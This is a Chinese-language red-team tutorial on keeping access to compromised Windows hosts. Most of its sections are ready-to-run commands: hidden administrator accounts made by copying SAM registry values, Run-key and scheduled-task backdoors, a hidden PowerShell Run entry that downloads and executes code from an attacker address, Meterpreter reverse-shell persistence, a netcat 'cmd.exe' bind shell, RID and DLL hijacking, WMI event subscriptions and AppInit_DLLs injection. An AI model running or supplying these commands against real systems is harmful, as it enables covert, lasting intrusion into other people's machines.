Windows权限维持
前言
最近终于不是那么忙了,有时间静下心来学点知识,这篇文章自起稿到发布,用时近三周,其中有近一周的时间在迷茫在焦躁,甚至怀疑、否定自己。网上的表哥们个顶个儿的优秀,于是就给自己很大的压力,所以那一个周的迷茫期里,我打了一天的联盟,这里要谴责下自己,下次调节自己尽量快,别浪费时间,这样,强迫症的我也就不用半夜发稿了,哈哈哈。最后也想明白了,与其直接放弃,不如放空自己,事情还是要接着做,安全路还是要走,坚持苟到最后才能问鼎殿堂,成为真正的强者。所以靠着碎片时间学习、操作并整理出来。截止文章发布时间,病毒又反复了,看了三位病例的行程轨迹,自愧不如感慨万千,与12月初成都那位比起来,北漂们的生活既匆忙又真实,生存与生活真的是两个概念。
Window权限维持
几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。
0x00.Presistence模块实现持久后门
Meterpreter的脚本persistence.rb,他将创建一个meterprer服务,即使远程主机再次启动,该脚本依然可以让主机重新连接远程的攻击端口,由于meterpreter不需要身份验证,这也导致任何发现端口的黑客也可利用此渠道进入后门,在真实情况下,建议完成任务后尽快自行清理。
在获取主机session后,可以通过”-h”查看哪些选项可用:
配置持续Meterpreter会话,以等待用户登录到远程系统,并尝试每5秒钟在端口17722上的IP地址xx.xx.xx.xx连接回监听器。命令如下:
run persistence -U -i 5 -p 17722 -r xx.xx.xx.xx
经过提示判断,该组件主要是在C盘Temp下建立一个vbs文件,在注册表中设置,开机启动该vbs脚本。重启主机并验证是否重连,发现开启监听端口后,主机重新连接了端口,产生session:
注意:每次使用该模块,msf会自动生成一个rc文件,执行该文件的命令,可删除目标机器中的vbs脚本,防止对目标系统造成一些后续影响,建议在渗透测试结束后执行该操作。
0x01.隐藏账户
该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:
Tip:解决中文乱码
chcp 65001
1)在目标主机cmd中输入以下命令,创建一个名为zha0gongz1$的隐藏账户,并把该隐藏账户设置为管理员权限。
net user zha0gongz1$ Liu78963 /add
net localgroup administrators zha0gongz1$ /add
如上图,我们已经创建成功,执行net user命令,发现是看不到zha0gongz1$用户,但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样SAM下的文件就都能看见了。
然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
复制000001F4
目录中的F键的值:
然后找到与隐藏账户zha0gongz1$右边类型的键值“0x3e9”相同的目录名
然后将000001F4
的F值粘贴到000003E9
的F值中,点击确定:
然后从注册表中右键导出000003E9
和zha0gongz1$
,并删除zha0gongz1$
用户 :
net user zha0gongz1$ /del
此时,查看注册表以及本地用户和组或者控制面板,zha0gongz1$
用户已经没有了:
最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:
这样我们的隐藏账户zha0gongz1$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到zah0gongz1$这个账户的,只有在注册表中才能看得到。
注意:实战中,很多都是RDP登录目标机,在创建留备的情况下,记得注销/登出服务器,否则在“远程桌面服务管理器”中,会留存该隐藏账户的会话信息,可能前功尽弃!
0x02.注册表键后门
该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。
一般我们使用注册表的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序
(1)手动制作
首先我们制作一个metasploit后门:
将该后门程序上传到目标主机的C:\Windows\System32目录中:
然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看键值
如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:
使用以下命令也可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
我们还可以操作注册表的Userinit键,这个键值默认为C:\Windows\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
让目标主机在用户进行登陆时,winlogon运行指定的后门程序。
除此之外还有以下可利用的注册表键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机时启动一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)Metasploit 下的利用
Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
- -U指定启动方式为用户登录时自启动
- -X指定启动的方式为开机自启动
- -P 指定所使用的payload
- -i不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
- –r指定攻击者的ip
- -p 指定攻击者监听的端口
(3)Empire 下的利用
在Empire上面有一个persistence/userland/registry后渗透模块,可以自动帮我们完成上面手动创建注册表后门的任务。
假设我们已经在Empire上面获得了一个目标主机的session,我们可以通过设置该模块在目标主机上创建注册表后门:
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下图所示,成功在目标主机上创建后门:
注意:杀毒软件针对此类注册表后门有专门的查杀机制。
注册机开机启动项
- Load注册键
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一个字符串名为load键值
- Explorer\Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- RunServicesOnce注册键
# 其中的程序会在系统加载时自动启动执行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
- 常用注册键
# 其下的所有程序在每次启动登录时都会按顺序自动执行。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# 与Run键不同的是,RunOnce下的程序仅会被自动执行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- RunOnceEx键
#Tips: 该键是 Windows XP/2003 特有的自启动注册表项。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
0x03.Windows 计划任务后门
计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。
(1)利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
- 首先在目标主机上传metasploit生成的后门程序:
- 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
- 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 21:36:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上图所示,计划任务创建成功,目标主机将在每个工作日的21:36:00执行后门程序,我们便可以在这个时间获得目标机器的控制权
2)利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks创建后门的大致流程如下:
-
首先在目标主机上传metasploit生成的后门程序。
-
然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR c:\windows\system32\backdoor.exe
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session,并且这个session还是system权限的。
(3)利用SharPersist工具
下载地址:https://github.com/fireeye/SharPersist/releases
SharPersist的创建是为了帮助使用多种不同的技术在Windows操作系统上建立持久性。它是一个国外安全人员用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。SharPersist采用模块化设计,以便将来添加新的持久性技术。还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中,例如file time stomping策略和最小化或隐藏运行应用程序。
该工具支持的持久性技术有:
keepass
-keepass配置文件后门reg
-注册表项添加/修改schtaskbackdoor
-通过向后门计划任务添加其他操作来完成该任务startupfolder
-启动文件夹中的lnk文件tortoisesvn
-乌龟svn钩子脚本service
-创建新的Windows服务schtask
-创建新的计划任务
如果用户具有管理员级别的特权,则可以通过SharPersist工具创建一个新的计划任务,该任务将在Windows登录期间执行我们上传好的有效载荷。
-
在目标主机上传我们新生成的metasploit木马和SharPersist程序:
-
然后使用以下命令创建我们恶意的计划任务:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然后新开一个metasploit监听,收到目标主机的session,并且还是system权限的:
0x04.NC+注册表实现持久后门
注意:此方法防火墙一般都会拦截,实用性一般
使用meterpreter上传nc.exe,并枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
向该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 11111 -e cmd.exe'
查看对应nc注册表键值是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
确定重启后目标系统开机是否正常运行nc.exe(防火墙已经关闭,这里虽获取到session,但不稳定,不明原因,了解的师父还请留下宝贵的知识点,抱拳了)
0x05.DLL 劫持
在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。
系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。
TIPS:
WindowsXP默认情况下禁用安全DLL搜索模式。之后OS默认启用安全DLL搜索模式。若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。
SafeDLLSearchMode启用后,搜索顺序如下:
1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。
6. PATH环境变量中列出的目录。
SafeDLLSearchMode禁用后,搜索顺序如下:
1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
6. PATH环境变量中列出的目录。
DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。可以劫持系统程序的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。
DLL 劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
编译后劫持用的DLL文件改成原DLL文件的名字,原DLL文件改为代码中调用DLL文件的名字。(为了保证应用程序的正常运行,需要在执行恶意DLL文件后继续加载应用程序缺失的DLL文件)。
0x06.文件夹启动
在每次开机或重启的时候就会运行启动文件夹下的程序。
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
0x07.映像劫持
在下面注册表路径下创建一个子项,子项的名称为你要劫持的exe
名称,比如 cmd.exe
,然后创建一个值,键名为Debugger
, 值为要执行的恶意脚本。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
运行 cmd.exe
时执行成功运行 calc.exe
(测试时安全软件拦截,所以要先退出杀软)。
0x08. RID劫持
新建一个普通用户 zha0gz
,按照0x01中设置Administrator权限为完全控制时才能在下面注册表找到。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置 (即RID的十六进制表示)。
查看 Administrator
对应键值,数值名称为F
,数值内容 0030
的位置复制到 zha0gz
对应键值,数值名称为F
,数值内容 0030
的位置。
点击确定然后关机重启,登陆 zha0gz
用户。
0x09.快捷方式劫持
Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK
,它为 红队提供了很多机会来执行各种格式的代码 exe、vbs、Powershell、scriptlet等。
如下案例,powershell 并没有做任何处理只做演示学习。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"
0x10.WMI事件
在2015年的blackhat大会上Matt Graeber介绍了一种WMI无文件后门
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
0x11.屏幕保护
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
0x13.Netsh白加黑
可以通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [Absolute evil DLL path]
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
重新启动后依然可获得shell
0x14.进程注入之劫持AppInit_DLLs注册表项:
原理:User32.dll被加载到进程时,会获取HKEY_LOCAL_MACHINE\Software\Mircosoft\WindowsNT\CurrentVersion\Windows\Appinit_Dlls
注册表项。若有值,则调用LoadLibrary() API加载Appinit_Dlls制定的DLL,只会影响加载了user32.dll的进程。
测试过程中,使用命令添加注册表项失败,winser08和win10均无法通过命令添加注册表项。
windows server 2008 r2 standard:
设置Appinit_Dlls的值为恶意DLL路径,设置LoadAppInit_DLLs的值为1,设置RequireSignedAppInit_DLLs为0:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Mircosoft\WindowsNT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\cs.dll" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Mircosoft\WindowsNT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d0x1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Mircosoft\WindowsNT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD/d 0x0 /f
启动cmd、计算器即可触发。
win10:
win10下没有RequireSignedAppInit_DLLs键,只需设置Appinit_Dlls的值为恶意DLL路径,设置LoadAppInit_DLLs的值为1即可。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Mircosoft\WindowsNT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\cs.dll" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Mircosoft\WindowsNT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
修改注册表后,每次只要执行需要调用user32.dll的程序都会加载恶意dll。
0x15.第三方应用
AnyDesk静默部署